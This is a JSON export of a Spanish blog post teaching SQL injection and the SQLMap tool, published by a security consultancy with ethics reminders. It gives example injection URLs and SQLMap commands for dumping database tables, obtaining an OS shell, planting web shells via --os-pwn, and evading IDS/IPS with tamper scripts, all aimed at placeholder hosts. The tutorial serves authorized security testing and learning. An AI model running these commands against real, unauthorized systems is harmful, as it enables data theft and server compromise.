{"id":3638,"date":"2024-01-25T22:54:45","date_gmt":"2024-01-25T21:54:45","guid":{"rendered":"https:\/\/hardsoftsecurity.es\/?p=3638"},"modified":"2024-03-02T18:18:27","modified_gmt":"2024-03-02T17:18:27","slug":"como-usar-sqlmap-guia-con-caso-practico","status":"publish","type":"post","link":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/01\/25\/como-usar-sqlmap-guia-con-caso-practico\/","title":{"rendered":"\u00bfC\u00f3mo usar SQLMap? Gu\u00eda con caso pr\u00e1ctico."},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">\u00a1Hola! Hoy vamos a sumergirnos en el fascinante mundo de SQLMap, una herramienta indispensable para aquellos que se dedican a garantizar la seguridad de las bases de datos y, por supuesto, para los curiosos del pentesting. Imagina tener una navaja suiza que puede detectar y explotar vulnerabilidades en bases de datos; eso es SQLMap. Pero antes de entrar en materia, recuerda: el conocimiento es poder, y con gran poder viene una gran responsabilidad. Usaremos esta herramienta para aprender y mejorar la seguridad.<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" fetchpriority=\"high\" decoding=\"async\" width=\"724\" height=\"362\" data-attachment-id=\"3639\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2024\/01\/25\/como-usar-sqlmap-guia-con-caso-practico\/image-2-10\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/01\/image-2.png?fit=724%2C362&amp;ssl=1\" data-orig-size=\"724,362\" data-comments-opened=\"1\" data-image-title=\"image-2\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/01\/image-2.png?fit=724%2C362&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/01\/image-2.png?resize=724%2C362&#038;ssl=1\" alt=\"\u00bfC\u00f3mo usar SQLMap? Gu\u00eda con caso pr\u00e1ctico.\" class=\"wp-image-3639\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/01\/image-2.png?w=724&amp;ssl=1 724w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/01\/image-2.png?resize=300%2C150&amp;ssl=1 300w\" sizes=\"(max-width: 724px) 100vw, 724px\" \/><\/figure>\n\n\n\n<!--more-->\n\n\n\n<h3 class=\"wp-block-heading\">2. \u00bfQu\u00e9 es SQL Injection?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Es un tipo de ataque que aprovecha vulnerabilidades en aplicaciones web para manipular consultas a la base de datos. Por ejemplo, si un sitio web no verifica correctamente lo que escribes en un formulario, podr\u00edas introducir c\u00f3digo malicioso que la base de datos ejecutar\u00e1 sin saberlo o incluso poder extraer informaci\u00f3n.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">2.1 Inyecci\u00f3n basada en error<\/h5>\n\n\n\n<p class=\"wp-block-paragraph\">En la inyecci\u00f3n SQL basada en error, los atacantes buscan provocar errores deliberados en la base de datos para obtener informaci\u00f3n sobre su estructura o datos espec\u00edficos. La idea es manipular la entrada de tal manera que la base de datos genere un error que revele informaci\u00f3n \u00fatil.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Ejemplo Original<\/strong>: <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Supongamos que la consulta SQL original en el servidor es algo como esto:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>SELECT * FROM productos WHERE id = &#91;valor_usuario]<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Cuando un usuario visita <code>http:\/\/ejemplo.com\/productos?id=1<\/code>, la consulta se ver\u00eda as\u00ed:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>SELECT * FROM productos WHERE id = 1<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Inyecci\u00f3n y Ejemplo Modificado<\/strong>:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"> Si el atacante modifica la URL a <code>http:\/\/ejemplo.com\/productos?id=1'<\/code>, la consulta se convierte en:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>SELECT * FROM productos WHERE id = 1'<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Aqu\u00ed, la comilla simple adicional rompe la sintaxis SQL, lo que puede causar que el sistema de gesti\u00f3n de bases de datos (MySQL en este caso) devuelva un mensaje de error. Este error podr\u00eda revelar detalles como el nombre de la columna o la tabla, que el atacante puede utilizar para construir consultas m\u00e1s da\u00f1inas.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">2.2 inyecci\u00f3n sql ciega (blind sql injection)<\/h5>\n\n\n\n<p class=\"wp-block-paragraph\">En la inyecci\u00f3n SQL ciega, el atacante no recibe un mensaje de error directo para obtener informaci\u00f3n de la base de datos. En su lugar, realiza consultas que le permiten inferir si ciertas condiciones son verdaderas o falsas bas\u00e1ndose en el comportamiento de la aplicaci\u00f3n web.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Ejemplo Original<\/strong>:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Volvamos a nuestra consulta SQL original:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>SELECT * FROM productos WHERE id = &#91;valor_usuario]<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Inyecci\u00f3n y Ejemplo Modificado<\/strong>:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">El atacante podr\u00eda probar primero <code>http:\/\/ejemplo.com\/productos?id=1 AND 1=1<\/code>. Esto modificar\u00eda la consulta a:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>SELECT * FROM productos WHERE id = 1 AND 1=1<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">En este caso, <code>1=1<\/code> es siempre verdadero, por lo que si la p\u00e1gina se comporta normalmente (por ejemplo, muestra el producto), el atacante puede inferir que la inyecci\u00f3n est\u00e1 funcionando.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Luego, el atacante prueba con <code>http:\/\/ejemplo.com\/productos?id=1 AND 1=2<\/code>. La consulta ser\u00eda:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>SELECT * FROM productos WHERE id = 1 AND 1=2<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Aqu\u00ed, <code>1=2<\/code> es falso. Si la respuesta de la p\u00e1gina cambia (por ejemplo, el producto no se muestra o la p\u00e1gina se carga de manera diferente), esto indica que la condici\u00f3n a\u00f1adida est\u00e1 afectando la consulta SQL, sugiriendo una vulnerabilidad a inyecciones SQL ciegas.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">En ambos casos, el atacante utiliza la modificaci\u00f3n de la entrada para alterar la consulta SQL y observar los resultados. Este tipo de ataque requiere paciencia y habilidad, ya que el atacante debe inferir la estructura y los datos de la base de datos sin mensajes de error directos.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3. \u00bfQu\u00e9 es SQLMap y para qu\u00e9 se utiliza?<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">SQLMap es como el mejor amigo de un cazador de vulnerabilidades de SQL Injection. Es una herramienta de c\u00f3digo abierto que automatiza el proceso de detectar y explotar fallos de inyecci\u00f3n SQL en aplicaciones web. Se desarroll\u00f3 para que los profesionales de seguridad pudieran encontrar y reparar estos fallos antes de que los &#8220;chicos malos&#8221; los utilicen para hacer da\u00f1o.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4. Instalaci\u00f3n y configuraci\u00f3n b\u00e1sica<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Instalar SQLMap es bastante sencillo. Si est\u00e1s en Linux, lo m\u00e1s probable es que ya venga preinstalado. Si no, puedes clonarlo f\u00e1cilmente desde su <a href=\"https:\/\/github.com\/sqlmapproject\/sqlmap\" target=\"_blank\" rel=\"noreferrer noopener\">repositorio en GitHub<\/a>. En Windows, necesitar\u00e1s tener Python instalado y luego descargar SQLMap del mismo sitio. Una vez que lo tienes, \u00a1est\u00e1s listo para comenzar!<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">5. Uso B\u00e1sico de SQLMap<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">En el nivel b\u00e1sico, SQLMap puede ayudarte a realizar varias tareas esenciales. Vamos a ver algunos ejemplos comunes:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Detecci\u00f3n de Vulnerabilidades de Inyecci\u00f3n SQL<\/strong>:<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -u \"http:\/\/ejemplo.com\/pagina?parametro=valor\"<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Este comando b\u00e1sico le pide a SQLMap que analice la URL dada para detectar posibles inyecciones SQL.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Especificando M\u00e9todos HTTP<\/strong>: <\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Si deseas especificar el m\u00e9todo HTTP (GET o POST), puedes hacerlo as\u00ed:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -u \"http:\/\/ejemplo.com\/pagina\" --data=\"parametro=valor\" --method=POST<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Enumeraci\u00f3n de Bases de Datos<\/strong>:<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Para listar las bases de datos disponibles en el servidor, usa:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -u \"http:\/\/ejemplo.com\/pagina?parametro=valor\" --dbs<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Obtener Informaci\u00f3n sobre el Servidor<\/strong>:<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Para saber m\u00e1s sobre el servidor de base de datos, como su versi\u00f3n y tipo:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -u \"http:\/\/ejemplo.com\/pagina?parametro=valor\" --banner<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Enumerar Tablas de una Base de Datos Espec\u00edfica<\/strong>:<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Si ya sabes cu\u00e1l es la base de datos objetivo:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -u \"http:\/\/ejemplo.com\/pagina?parametro=valor\" -D nombre_base_datos --tables<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">6. Funcionalidades Avanzadas<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Ahora, para los usuarios m\u00e1s avanzados, SQLMap ofrece un arsenal de caracter\u00edsticas poderosas:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Extracci\u00f3n de Datos de una Tabla Espec\u00edfica<\/strong>:<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Para obtener los datos de una tabla espec\u00edfica:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -u \"http:\/\/ejemplo.com\/pagina?parametro=valor\" -D nombre_base_datos -T nombre_tabla --dump\n<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Obtener Shell en el Servidor de Base de Datos<\/strong>:<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Si quieres intentar obtener una shell en el servidor (\u00a1cuidado con esto!):<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -u \"http:\/\/ejemplo.com\/pagina?parametro=valor\" --os-shell<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Ejecutar Comandos SQL Espec\u00edficos<\/strong>:<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Para ejecutar un comando SQL espec\u00edfico:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -u \"http:\/\/ejemplo.com\/pagina?parametro=valor\" --sql-query \"SELECT * FROM nombre_tabla\"<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Explotar SQL Injection de Forma Ciega<\/strong>:<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">SQLMap puede automatizar la explotaci\u00f3n de inyecciones SQL ciegas:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -u \"http:\/\/ejemplo.com\/pagina?parametro=valor\" --level=5 --risk=3<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Automatizar la Creaci\u00f3n de Web Shells y la Exfiltraci\u00f3n de Datos<\/strong>:<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Puede ser usado para subir web shells o exfiltrar datos autom\u00e1ticamente:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -u \"http:\/\/ejemplo.com\/pagina?parametro=valor\" --os-pwn<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Utilizaci\u00f3n de T\u00e9cnicas Avanzadas de Evasi\u00f3n de IDS\/IPS<\/strong>:<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">SQLMap tiene opciones para evadir sistemas de detecci\u00f3n y prevenci\u00f3n de intrusiones:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sqlmap -u \"http:\/\/ejemplo.com\/pagina?parametro=valor\" --tamper=nombre_tamper_script<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Cada uno de estos comandos debe ser utilizado con plena conciencia de las implicaciones \u00e9ticas y legales. Es vital practicar en entornos seguros y siempre con permiso.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">7. Caso pr\u00e1ctico<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">A continuaci\u00f3n, como recurso adicional al post vamos a ver el siguiente v\u00eddeo, d\u00f3nde veremos el caso pr\u00e1ctico y har\u00e9 un resumen del post:<\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<span class=\"embed-youtube\" style=\"text-align:center; display: block;\"><iframe class=\"youtube-player\" title=\"YouTube video player\" width=\"800\" height=\"450\" src=\"https:\/\/www.youtube.com\/embed\/1tszxtIqL1c?version=3&#038;rel=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;fs=1&#038;hl=es-ES&#038;autohide=2&#038;wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\"><\/iframe><\/span>\n<\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">8. Buenas Pr\u00e1cticas y Consideraciones \u00c9ticas<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Es crucial ser \u00e9tico en nuestras pr\u00e1cticas. Siempre obt\u00e9n permiso antes de realizar cualquier prueba. Recuerda que el objetivo es mejorar la seguridad, no explotar las vulnerabilidades para fines maliciosos.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">9. Recursos adicionales y aprendizaje continuo<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Si te ha picado la curiosidad y quieres saber m\u00e1s, hay un mont\u00f3n de recursos por ah\u00ed. Puedes empezar con la <a href=\"https:\/\/sqlmap.org\/\" target=\"_blank\" rel=\"noreferrer noopener\">documentaci\u00f3n oficial de SQLMap<\/a>, unirse a foros como <a href=\"https:\/\/stackoverflow.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">Stack Overflow<\/a> o grupos en redes sociales donde se hable de seguridad inform\u00e1tica.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">10. Conclusi\u00f3n<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u00a1Y eso es todo! Hemos recorrido desde los conceptos b\u00e1sicos hasta algunos trucos avanzados de SQLMap. Espero que este post haya sido informativo y que te sientas m\u00e1s confiado en tu camino hacia el aprendizaje de la explotaci\u00f3n de inyecciones SQL. Recuerda, la pr\u00e1ctica hace al maestro, as\u00ed que no dejes de experimentar (de manera segura y \u00e9tica) y seguir aprendiendo.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">\ud83d\udd12&nbsp;<strong><a href=\"https:\/\/hardsoftsecurity.es\/\" target=\"_blank\" rel=\"noreferrer noopener\">Hardsoft Security<\/a><\/strong>&nbsp;ofrece servicios de consultor\u00eda en ciberseguridad, asegurando que tu negocio est\u00e9 siempre protegido contra las amenazas m\u00e1s recientes. Y si est\u00e1s buscando un alojamiento que ponga la seguridad primero,&nbsp;<a href=\"https:\/\/securehosting.es\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>Secure Hosting<\/strong>&nbsp;<\/a>es tu soluci\u00f3n ideal. Ayudamos a mantener seguro tu sitio web con las mejores pr\u00e1cicas de ciberseguridad con nuestro asesoramiento en ciberseguridad especializado.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">No esperes a ser el pr\u00f3ximo objetivo. Asegura tu presencia online con las mejores soluciones y servicios del mercado. \u00a1Contacta con&nbsp;<a href=\"https:\/\/hardsoftsecurity.es\/index.php\/contacta-con-nosotros-2\/\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>Hardsoft Security<\/strong>&nbsp;<\/a>y&nbsp;<strong><a href=\"https:\/\/securehosting.es\/1251-2\/\" target=\"_blank\" rel=\"noreferrer noopener\">Secure Hosting<\/a><\/strong>&nbsp;hoy mismo!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a1Hola! Hoy vamos a sumergirnos en el fascinante mundo de SQLMap, una herramienta indispensable para aquellos que se dedican a garantizar la seguridad de las bases de datos y, por &#8230;<\/p>\n","protected":false},"author":1,"featured_media":3639,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_hide_featured_image":false,"_jetpack_featured_image_duplicate_dismissed":0,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":false,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2},"jetpack_post_was_ever_published":false},"categories":[3,7],"tags":[511,514,336,513,467,350,512,41,475,49,175,510],"class_list":["post-3638","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-guias","category-seguridad-informatica","tag-aprendizaje-de-pentesting","tag-ataque-y-defensa-cibernetica","tag-ciberseguridad","tag-explotacion-de-bases-de-datos","tag-hacking-etico","tag-herramientas-de-seguridad","tag-inyeccion-sql","tag-pentesting","tag-pruebas-de-penetracion","tag-seguridad-informatica-2","tag-sqlmap","tag-vulnerabilidades-sql"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\u00bfC\u00f3mo usar SQLMap? Gu\u00eda con caso pr\u00e1ctico. - Hardsoft Security<\/title>\n<meta name=\"description\" content=\"Aprende a como usar la herramienta SQLMap con nuestra gu\u00eda a trav\u00e9s de un caso pr\u00e1ctico explotando injecciones SQL.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hardsoftsecurity.es\/index.php\/2024\/01\/25\/como-usar-sqlmap-guia-con-caso-practico\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u00bfC\u00f3mo usar SQLMap? Gu\u00eda con caso pr\u00e1ctico. - Hardsoft Security\" \/>\n<meta property=\"og:description\" content=\"Aprende a como usar la herramienta SQLMap con nuestra gu\u00eda a trav\u00e9s de un caso pr\u00e1ctico explotando injecciones SQL.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hardsoftsecurity.es\/index.php\/2024\/01\/25\/como-usar-sqlmap-guia-con-caso-practico\/\" \/>\n<meta property=\"og:site_name\" content=\"Hardsoft Security\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/HardSoftDavid\" \/>\n<meta property=\"article:published_time\" content=\"2024-01-25T21:54:45+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-03-02T17:18:27+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hardsoftsecurity.es\/wp-content\/uploads\/2024\/01\/image-2.png\" \/>\n\t<meta property=\"og:image:width\" content=\"724\" \/>\n\t<meta property=\"og:image:height\" content=\"362\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"david\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:site\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"david\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/01\\\/25\\\/como-usar-sqlmap-guia-con-caso-practico\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/01\\\/25\\\/como-usar-sqlmap-guia-con-caso-practico\\\/\"},\"author\":{\"name\":\"david\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"headline\":\"\u00bfC\u00f3mo usar SQLMap? Gu\u00eda con caso pr\u00e1ctico.\",\"datePublished\":\"2024-01-25T21:54:45+00:00\",\"dateModified\":\"2024-03-02T17:18:27+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/01\\\/25\\\/como-usar-sqlmap-guia-con-caso-practico\\\/\"},\"wordCount\":1238,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/01\\\/25\\\/como-usar-sqlmap-guia-con-caso-practico\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2024\\\/01\\\/image-2.png?fit=724%2C362&ssl=1\",\"keywords\":[\"aprendizaje de pentesting\",\"ataque y defensa cibern\u00e9tica.\",\"Ciberseguridad\",\"explotaci\u00f3n de bases de datos\",\"hacking \u00e9tico\",\"Herramientas de seguridad\",\"inyecci\u00f3n SQL\",\"pentesting\",\"Pruebas de penetraci\u00f3n\",\"seguridad inform\u00e1tica\",\"sqlmap\",\"vulnerabilidades SQL\"],\"articleSection\":[\"Gu\u00edas\",\"Seguridad inform\u00e1tica\"],\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/01\\\/25\\\/como-usar-sqlmap-guia-con-caso-practico\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/01\\\/25\\\/como-usar-sqlmap-guia-con-caso-practico\\\/\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/01\\\/25\\\/como-usar-sqlmap-guia-con-caso-practico\\\/\",\"name\":\"\u00bfC\u00f3mo usar SQLMap? Gu\u00eda con caso pr\u00e1ctico. - Hardsoft Security\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/01\\\/25\\\/como-usar-sqlmap-guia-con-caso-practico\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/01\\\/25\\\/como-usar-sqlmap-guia-con-caso-practico\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2024\\\/01\\\/image-2.png?fit=724%2C362&ssl=1\",\"datePublished\":\"2024-01-25T21:54:45+00:00\",\"dateModified\":\"2024-03-02T17:18:27+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"description\":\"Aprende a como usar la herramienta SQLMap con nuestra gu\u00eda a trav\u00e9s de un caso pr\u00e1ctico explotando injecciones SQL.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/01\\\/25\\\/como-usar-sqlmap-guia-con-caso-practico\\\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/01\\\/25\\\/como-usar-sqlmap-guia-con-caso-practico\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/01\\\/25\\\/como-usar-sqlmap-guia-con-caso-practico\\\/#primaryimage\",\"url\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2024\\\/01\\\/image-2.png?fit=724%2C362&ssl=1\",\"contentUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2024\\\/01\\\/image-2.png?fit=724%2C362&ssl=1\",\"width\":724,\"height\":362},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2024\\\/01\\\/25\\\/como-usar-sqlmap-guia-con-caso-practico\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Portada\",\"item\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u00bfC\u00f3mo usar SQLMap? Gu\u00eda con caso pr\u00e1ctico.\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\",\"name\":\"Hardsoft Security\",\"description\":\"Chasing (In)Security\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/hardsoftsecurity.es\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\",\"name\":\"david\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"caption\":\"david\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u00bfC\u00f3mo usar SQLMap? Gu\u00eda con caso pr\u00e1ctico. - Hardsoft Security","description":"Aprende a como usar la herramienta SQLMap con nuestra gu\u00eda a trav\u00e9s de un caso pr\u00e1ctico explotando injecciones SQL.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/01\/25\/como-usar-sqlmap-guia-con-caso-practico\/","og_locale":"es_ES","og_type":"article","og_title":"\u00bfC\u00f3mo usar SQLMap? Gu\u00eda con caso pr\u00e1ctico. - Hardsoft Security","og_description":"Aprende a como usar la herramienta SQLMap con nuestra gu\u00eda a trav\u00e9s de un caso pr\u00e1ctico explotando injecciones SQL.","og_url":"https:\/\/hardsoftsecurity.es\/index.php\/2024\/01\/25\/como-usar-sqlmap-guia-con-caso-practico\/","og_site_name":"Hardsoft 